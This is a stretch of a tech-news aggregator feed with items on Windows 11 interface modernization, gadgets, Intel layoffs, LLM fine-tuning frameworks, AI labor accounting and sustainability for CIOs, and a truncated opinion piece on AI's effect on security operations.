<p>Leider stößt Microsoft aber bei diesem Vorhaben immer wieder auf ein Hindernis, das es selbst erschaffen hat: Da Windows 11 ein Legacy-Betriebssystem ist und größtenteils aus altem Code besteht, der nie ersetzt wurde (sondern lediglich aufpoliert), ist es deutlich schwerer, das Ganze zu modernisieren. Zumindest nicht, ohne die Performance oder Teile des Nutzererlebnisses zu gefährden.</p>



<p>Die Modernisierung eines kleinen Teils von Windows, wie eben des Eigenschaften-Dialogfelds, kann etwa dazu führen, dass Anwendungen von Drittanbietern nicht mehr richtig funktionieren. Das können <a href="https://www.pcwelt.de/article/2255713/test-bestes-antivirus-programm-windows.html" target="_blank" rel="noreferrer noopener">Antivirenprogramme</a> oder andere Anwendungen wie 7-Zip, Dropbox, Codec-Pakete und so weiter sein.</p>



<p>Es ist also eine mühsame Aufgabe, alte Teile von Windows mit neuen Elementen zu ersetzen. Die Vorteile von modernen Elementen, die komplett auf WinUI 3 basieren, überwiegen aber. Denn sie können schneller starten und verursachen weniger Probleme, sofern sie ordentlich implementiert werden.</p>



<p><em>Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen <a href="https://www.pcwelt.de/article/1203134/windows-11-unterschiede-zwischen-home-und-pro-version.html" target="_blank" rel="noreferrer noopener">hier vorstellen.</a> Im PC-WELT Software-Shop ist das Windows-11-Upgrade <a href="https://software.pcwelt.de/offer/windows_11_professional_upgrade/44487?x-source=4-0-3194510-1-0-0-00002-0?x-source=4-0-3195776-1-0-0-0-0?x-source=rss" target="_blank" rel="noreferrer noopener">für günstige 59,99 Euro statt 145 Euro</a> erhältlich.</em></p>



<h2 class="wp-block-heading">Nicht die einzige Neuerung</h2>



<p>Auch der Windows-Ausführungsdialog soll einen modernen Ersatz bekommen. Dieser soll sich nicht nur optisch verändern, sondern auch neue Funktionen bieten. Laut kann man den modernen Ausführungsdialog bereits unter <strong>Einstellungen &gt; Erweiterte Einstellungen</strong> aktivieren und ausprobieren.</p>



<p>Danach können Sie den Ausführen-Dialog über die Tastenkombination Win+R öffnen, was etwas schneller vonstatten gehen soll. Er soll außerdem zum Kontext passende Vorschläge und einen Schnellzugriff auf das Home-Verzeichnis bieten. </p>



<p><a href="https://www.pcwelt.de/article/3195776/windows-11-preview-das-bringen-die-naechsten-updates-an-neuerungen.html" target="_blank" rel="noreferrer noopener">Windows 11 Preview: Das bringen die nächsten Updates an Neuerungen</a></p>

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<title><![CDATA[Samsung Galaxy Z Fold 8 Ultra hands-on: Upstaged by the base model]]></title>
<description><![CDATA[The Z Fold 8 Ultra's improved performance, faster charging and a new ultra-wide camera are nice, but what we really want is the regular model's wider screens.]]></description>
<link>https://tsecurity.de/de/3686375/it-nachrichten/samsung-galaxy-z-fold-8-ultra-hands-on-upstaged-by-the-base-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686375/it-nachrichten/samsung-galaxy-z-fold-8-ultra-hands-on-upstaged-by-the-base-model/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Z Fold 8 Ultra's improved performance, faster charging and a new ultra-wide camera are nice, but what we really want is the regular model's wider screens.]]></content:encoded>
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<title><![CDATA[Nissan Leaf Nismo: Das ist die Performance-Version]]></title>
<description><![CDATA[Nissan hat heute den Leaf Nismo vorgestellt und schickt die Performance-Version des Elektroautos auch direkt in Japan ins Rennen. Bisher ist noch unklar, ob wir den Nissan Leaf Nismo in …]]></description>
<link>https://tsecurity.de/de/3686337/it-nachrichten/nissan-leaf-nismo-das-ist-die-performance-version/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686337/it-nachrichten/nissan-leaf-nismo-das-ist-die-performance-version/</guid>
<pubDate>Wed, 22 Jul 2026 14:47:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1600" height="1100" src="https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2026/07/nissan-leaf-nismo-header.jpg?fit=1600%2C1100&amp;ssl=1" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2026/07/nissan-leaf-nismo-header.jpg?w=1600&amp;ssl=1 1600w, https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2026/07/nissan-leaf-nismo-header.jpg?resize=690%2C474&amp;ssl=1 690w" sizes="(max-width: 1600px) 100vw, 1600px">
Nissan hat heute den Leaf Nismo vorgestellt und schickt die Performance-Version des Elektroautos auch direkt in Japan ins Rennen. Bisher ist noch unklar, ob wir den Nissan Leaf Nismo in …]]></content:encoded>
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<title><![CDATA[Intel is laying off workers in its data center division despite strong recent performance]]></title>
<description><![CDATA[Intel reportedly gearing up to lay off data center workers in a bid for operational efficiency, despite strong performance.]]></description>
<link>https://tsecurity.de/de/3686137/it-nachrichten/intel-is-laying-off-workers-in-its-data-center-division-despite-strong-recent-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686137/it-nachrichten/intel-is-laying-off-workers-in-its-data-center-division-despite-strong-recent-performance/</guid>
<pubDate>Wed, 22 Jul 2026 13:32:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Intel reportedly gearing up to lay off data center workers in a bid for operational efficiency, despite strong performance.]]></content:encoded>
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<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Unsloth vs Axolotl vs TRL vs LLaMA-Factory: A Fine-Tuning Framework Comparison on Speed, VRAM, and Multi-GPU]]></title>
<description><![CDATA[Four open source projects dominate LLM fine-tuning today. Unsloth, Axolotl, TRL, and LLaMA-Factory all wrap the same underlying PyTorch and Hugging Face stack. They diverge on where they spend engineering effort. Unsloth rewrites kernels. Axolotl composes parallelism strategies. TRL defines the t...]]></description>
<link>https://tsecurity.de/de/3685789/ai-nachrichten/unsloth-vs-axolotl-vs-trl-vs-llama-factory-a-fine-tuning-framework-comparison-on-speed-vram-and-multi-gpu/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685789/ai-nachrichten/unsloth-vs-axolotl-vs-trl-vs-llama-factory-a-fine-tuning-framework-comparison-on-speed-vram-and-multi-gpu/</guid>
<pubDate>Wed, 22 Jul 2026 11:22:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Four open source projects dominate LLM fine-tuning today. Unsloth, Axolotl, TRL, and LLaMA-Factory all wrap the same underlying PyTorch and Hugging Face stack. They diverge on where they spend engineering effort. Unsloth rewrites kernels. Axolotl composes parallelism strategies. TRL defines the trainer APIs the others build on. LLaMA-Factory optimizes for breadth of model coverage and […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/22/unsloth-vs-axolotl-vs-trl-vs-llama-factory-a-fine-tuning-framework-comparison-on-speed-vram-and-multi-gpu/">Unsloth vs Axolotl vs TRL vs LLaMA-Factory: A Fine-Tuning Framework Comparison on Speed, VRAM, and Multi-GPU</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[4 recs for CIOs to optimize AI budgets and improve sustainability]]></title>
<description><![CDATA[In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environ...]]></description>
<link>https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environmental liability. Left unchecked, poor code cascades into soaring token costs and spikes data center power consumption, directly undermining both cloud budgets and corporate sustainability goals.</p>



<h2 class="wp-block-heading">AI’s impact on sustainability</h2>



<p class="wp-block-paragraph">By 2029, IDC projects that the number of actively deployed AI agents will exceed 1 billion worldwide, which is 40 times more than in 2025. And these agents will perform 217 billion actions per day.</p>



<p class="wp-block-paragraph">To deliver on this demand, AI data centers are being built out at an unprecedented rate, with Gartner forecasting that <a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-03-gartner-forecasts-worldwide-it-spending-to-grow-10-point-8-percent-in-2026-totaling-6-point-15-trillion-dollars">global spending on data centers</a> over the next three years will increase 31.7% to surpass $650 billion, driven primarily by hyperscaler cloud providers building out AI foundations, and optimizing servers for heavy AI workloads.</p>



<p class="wp-block-paragraph">All this presents a significant strain on the energy grid as well as environmental sustainability, including:</p>



<ul class="wp-block-list">
<li><strong>The power double-down:</strong> The <a href="https://energy.ec.europa.eu/news/focus-data-centres-energy-hungry-challenge-2025-11-17_en">International Energy Agency</a> (IEA) projects that global data center electricity consumption will more than double from about 415 to 945 TWh by 2030, primarily fueled by energy-intensive accelerated computing for AI.</li>



<li><strong>The inference premium:</strong> AI workloads are vastly more demanding than standard web activities. A gen AI query consumes roughly <a href="https://www.brookings.edu/articles/global-energy-demands-within-the-ai-regulatory-landscape/">10 times the electricity</a> of a conventional keyword search, or roughly 2.9 watt-hours as opposed to 0.3 watt-hours.</li>



<li><strong>Water consumption:</strong> Cooling these dense clusters is highly resource intensive. Global AI-related water demand is expected to reach <a href="https://aimultiple.com/ai-energy-consumption">4.2 to 6.6 billion cubic meters by 2027</a>.</li>
</ul>



<p class="wp-block-paragraph">The good news, however, is it’s not all out of the control of end user organizations and CIOs. Just as in the client-server era, through careful planning and execution, CIOs have the potential to significantly improve the performance, costs, and sustainability impacts of their AI application portfolio.</p>



<p class="wp-block-paragraph">Here are four recommendations to maximize value as you look across your AI applications and infrastructure estate.</p>



<h2 class="wp-block-heading">Revisit business objectives in light of AI</h2>



<p class="wp-block-paragraph">AI applications and platforms bring several new headaches for CIOs and CFOs in terms of FinOps. The variable nature of <a href="https://www.cio.com/article/4169954/servicenows-ai-control-tower-offers-hazy-view-of-spend.html">AI vendor billing due to variable monthly token costs</a> is just one well-known example. To avoid unpleasant surprises, be sure to carefully review vendor contracts to decipher pricing models. Look for what’s included in seat-based license fees and what’s added as variable charges for agentic AI usage.</p>



<p class="wp-block-paragraph">In addition, explore new metrics and KPIs such as intelligence per watt to help make sense of your return on AI. Just as miles per gallon helps us evaluate new car purchases, IPW can help to measure the computational efficiency of a system. It quantifies how much intelligence — typically measured in AI inferences, tokens processed, or model training iterations — a processor can deliver for every watt of electrical power it consumes.</p>



<p class="wp-block-paragraph">According to Max Romanenko, chief engineering officer at relational database platform EDB, cost per query tells you almost nothing in an agentic world where autonomous systems are spinning up databases, pipelines, and queries around the clock. “The metric that matters is intelligence per watt, how much useful AI you get for every unit of energy you spend,” he says. “It isn’t just an environmental number, it’s also a performance indicator.”</p>



<p class="wp-block-paragraph">With the measurements in place, you can then start to manage and optimize each layer in the AI stack from the infrastructure, or hyperscaler, layer to your own data and application layers.</p>



<p class="wp-block-paragraph">It’s important to bear in mind that high token usage isn’t necessarily a bad thing. It depends on the net value delivered by each AI application and use case. Managing and optimizing the AI stack is important, but you’ll also want to measure the business value being delivered by each of these applications so you can measure your return.</p>



<h2 class="wp-block-heading">Take a sovereign AI approach when evaluating hyperscalers</h2>



<p class="wp-block-paragraph">As you work with hyperscalers like Amazon, Google and Microsoft, it’s important to understand how they charge and how much, but also their environmental footprints. For example, by reading their sustainability reports, you can find out their annual water consumption across their global data centers and compare them with other providers.</p>



<p class="wp-block-paragraph">In 2025, Amazon’s global data center operations used <a href="https://www.aboutamazon.com/news/sustainability/amazon-data-center-water-usage">0.12 liters of water per kilowatt-hour</a>, which amounts to 2.5 billion gallons, or 5% of the annual water consumed by the metro Seattle area. The company has been able to operate more than seven times better than the industry average and have improved their water efficiency by 52% since 2021.</p>



<p class="wp-block-paragraph">As demand for cloud computing and AI grows, water efficiency is another important metric for CIOs to monitor within hyperscaler ESG reports. While not at the same level of regulation as scope 2 and 3 greenhouse gas (GHG) emissions reporting, enterprises need to pay increasing attention to water use efficiency (WUE) with water scarcity becoming a growing risk for hyperscalers.</p>



<p class="wp-block-paragraph">The key requisite at the infrastructure layer, though, is to ensure sovereign AI. This doesn’t mean you need to own everything, but you need control over your AI-driven operations when conditions change. With <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-sovereignty">71% of global executives stating that switching their primary AI vendor or model would be difficult if required today</a>, it’s important to understand AI dependencies and be able to avoid vendor lock-in. </p>



<h2 class="wp-block-heading">Control efficiency at the data layer</h2>



<p class="wp-block-paragraph">The AI energy conversation has fixated on models and GPUs, but every agent, model, and inference call runs on the data layer beneath them, and that’s the one place a CIO can actually move the numbers.</p>



<p class="wp-block-paragraph">“You can’t control consumption at the model layer,” says Romanenko. “Agents consume what they consume. But you can control efficiency at the data layer, and for most enterprises that’s the only real lever they have. Optimize search, retrieval, and vector indexing where the work actually happens and you cut compute, cost, and carbon at the same time. Ignore it, and it’s like running the heat with every window open.”</p>



<p class="wp-block-paragraph">Ann Dunkin, distinguished professor of the practice at Georgia Tech, adds that CIOs who bring models in house and run them in their own infrastructure, or in the cloud infrastructure of their choosing, can have more control over the sustainability of inference, as well as of their costs and how their data is used.</p>



<h2 class="wp-block-heading">Fine tune the application layer</h2>



<p class="wp-block-paragraph">When balancing a mix of commercial AI packages and custom-built code, costs can quickly spiral due to inefficient design and orchestration, redundant APIs, and unoptimized model routing.</p>



<p class="wp-block-paragraph">With inference calls costing approximately 10 times that of conventional web queries, for custom AI applications, it’s important to design them to only use probabilistic code where necessary. Since many custom applications utilize a combination of both <a href="https://www.cio.com/article/4133150/4-tips-to-help-the-new-innovators-struggle-with-ai-and-traditional-code.html">probabilistic and deterministic code</a>, this is exactly where software developers need to make smart choices in their designs.</p>



<p class="wp-block-paragraph">Other techniques to fine tune the application layer include semantic caching, intelligent model routing, and internal AI capability registries. “CIOs can implement intelligent routing solutions to select the most cost-efficient model for every prompt,” says Dunkin. “The most flexible routing solutions can drop into a user’s existing environment and orchestrate the actions of the company’s existing models.”</p>



<p class="wp-block-paragraph">For CIOs looking to maximize the business value of every AI application in their portfolio, these new considerations, including new metrics, tools and approaches from the infrastructure layer all the way up to the application layer, should be an essential part of the equation.</p>
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<title><![CDATA[AI, security operations and the new race against time]]></title>
<description><![CDATA[When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.



Security leaders debated what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined tech...]]></description>
<link>https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html?utm=hybrid_search">Security leaders debated</a> what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined technical benchmarks. Industry observers questioned how quickly these capabilities might fall into attackers’ hands.</p>



<p class="wp-block-paragraph">Those conversations are important. They also point to a larger question that predominates my discussions with CISOs: How much time do we have?</p>



<p class="wp-block-paragraph">Over the past year, conversations about AI in cybersecurity have changed noticeably. Twelve months ago, security leaders wanted to understand whether AI could meaningfully improve security operations. They wanted to know whether it could accurately investigate alerts, reduce analyst workload and operate reliably in production environments.</p>



<p class="wp-block-paragraph">Today, security leaders are asking about timelines, implementation, how quickly AI is changing the threat landscape and what that means for <a href="https://www.csoonline.com/article/4158008/the-ai-inflection-point-what-security-leaders-must-do-now.html">how security teams operate</a>.</p>



<p class="wp-block-paragraph">Anthropic’s Mythos and Glasswing, OpenAI’s Daybreak and advances in DeepSeek accelerate those conversations. Each development provides another glimpse into the pace at which AI capabilities are advancing.</p>



<p class="wp-block-paragraph">AI now reasons through security problems that historically required highly specialized expertise. The implications span vulnerability discovery, attack-path analysis, reconnaissance, social engineering and security operations.</p>



<p class="wp-block-paragraph">The shift reflects a broader reality: cybersecurity is entering a period where the pace of adaptation may matter as much as the quality of defenses themselves. AI is accelerating both offense and defense simultaneously. Organizations are quickly redesigning security operations around that reality.</p>



<p class="wp-block-paragraph">One consequence is becoming increasingly visible. For years, cybersecurity teams invested enormous effort in discovering threats, identifying vulnerabilities, gathering telemetry and collecting intelligence. AI is accelerating many of those activities simultaneously. Visibility is improving. Discovery is accelerating. Investigations are becoming faster and more comprehensive.</p>



<p class="wp-block-paragraph">The bottleneck is beginning to move. The challenge increasingly centers on how quickly organizations can act on what they know. The organizations that gain an advantage may not be the ones with the most information. They will be the ones who can operationalize that information the fastest.</p>



<h2 class="wp-block-heading">The timeline is compressing</h2>



<p class="wp-block-paragraph">Cybersecurity has experienced many major technology transitions. Cloud computing changed infrastructure. Mobile devices expanded the attack surface. Digital transformation connected systems that were previously isolated.</p>



<p class="wp-block-paragraph">AI introduces a different dynamic.</p>



<p class="wp-block-paragraph">Most technology transitions unfolded over years. Organizations had time to evaluate, pilot, deploy and gradually adapt operating models.</p>



<p class="wp-block-paragraph">The current AI cycle moves at a different pace.</p>



<p class="wp-block-paragraph">Capabilities improve continuously. New models arrive every few months. New research emerges every few weeks. Security teams absorb developments at the same time attackers do.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Vulnerability discovery</a> provides a useful example. Security teams have long operated around a familiar cycle of discovery, validation, remediation and protection. AI systems accelerate every stage of that process. Similar patterns exist in phishing, reconnaissance, social engineering and attack planning.</p>



<p class="wp-block-paragraph">A vulnerability that once moved through that cycle over weeks increasingly now moves through those stages in days or, in some cases, hours.</p>



<p class="wp-block-paragraph">Attackers are already operating at the speed of AI. Defenders are now focused on reaching the same level of operational speed.</p>



<p class="wp-block-paragraph">This shift is changing the questions CISOs ask.</p>



<p class="wp-block-paragraph">Early discussions focused on capability. Could AI investigate alerts accurately? Could it operate reliably in production environments? Could it be trusted with meaningful security work?</p>



<p class="wp-block-paragraph">As organizations gained experience with AI, the discussion shifted toward implementation. Security teams began evaluating where AI could create operational leverage and how quickly they could deploy it into existing workflows.</p>



<p class="wp-block-paragraph">Today, many CISOs are focused on timing.</p>



<p class="wp-block-paragraph">The pace of advancement is influencing planning horizons, budget decisions and operating-model discussions. Security leaders are evaluating how quickly they can introduce AI into investigations, threat hunting, detection engineering and response workflows. Boards are asking questions. Executive teams are paying attention.</p>



<p class="wp-block-paragraph">Security programs that once viewed AI as a future initiative increasingly view it as a current operational priority.</p>



<p class="wp-block-paragraph">The industry is moving from evaluating AI as a technology to incorporating AI as a security capability.</p>



<p class="wp-block-paragraph">The timeline compression creates pressure on the traditional security operations model. Investigation speed, response speed and defensive coverage increasingly determine whether organizations can keep pace with adversaries operating with AI assistance.</p>



<h2 class="wp-block-heading">Security operations are entering a new phase</h2>



<p class="wp-block-paragraph">The impact of AI is becoming particularly visible inside the SOC.</p>



<p class="wp-block-paragraph">Many security operations centers were built around a straightforward assumption: alerts flow to human analysts who conduct investigations. Operational capacity scales primarily through hiring.</p>



<p class="wp-block-paragraph">The volume of security data, the number of alerts and the complexity of modern environments have steadily increased. Security teams have responded by building processes, adding tools and creating specialized analyst roles.</p>



<p class="wp-block-paragraph">AI introduces a new source of operational capacity.</p>



<p class="wp-block-paragraph">Investigations that require analysts to examine dozens or hundreds of artifacts across endpoint, identity, cloud, network and email systems can now be performed in minutes. Analysts gain access to investigative depth and consistency that would be difficult to achieve manually at scale.</p>



<p class="wp-block-paragraph">Many security leaders now view this capability through the lens of operating model design. They are examining how investigations are performed, how work is distributed and where human expertise creates the greatest value.</p>



<h2 class="wp-block-heading">The evolution of the analyst role</h2>



<p class="wp-block-paragraph">One of the most important developments emerging from early production deployments is the <a href="https://www.csoonline.com/article/4163299/the-manager-of-agents-how-ai-evolves-the-soc-analyst-role.html">evolution of analyst responsibilities</a>.</p>



<p class="wp-block-paragraph">Security analysts remain central to security operations. Their expertise becomes even more valuable as AI systems take on larger portions of investigative work.</p>



<p class="wp-block-paragraph">Threat hunting, detection engineering, response strategy, governance and oversight are receiving increased attention. Analysts spend more time shaping how investigations are conducted, evaluating outcomes and improving overall security operations.</p>



<p class="wp-block-paragraph">Many organizations are already beginning this shift.</p>



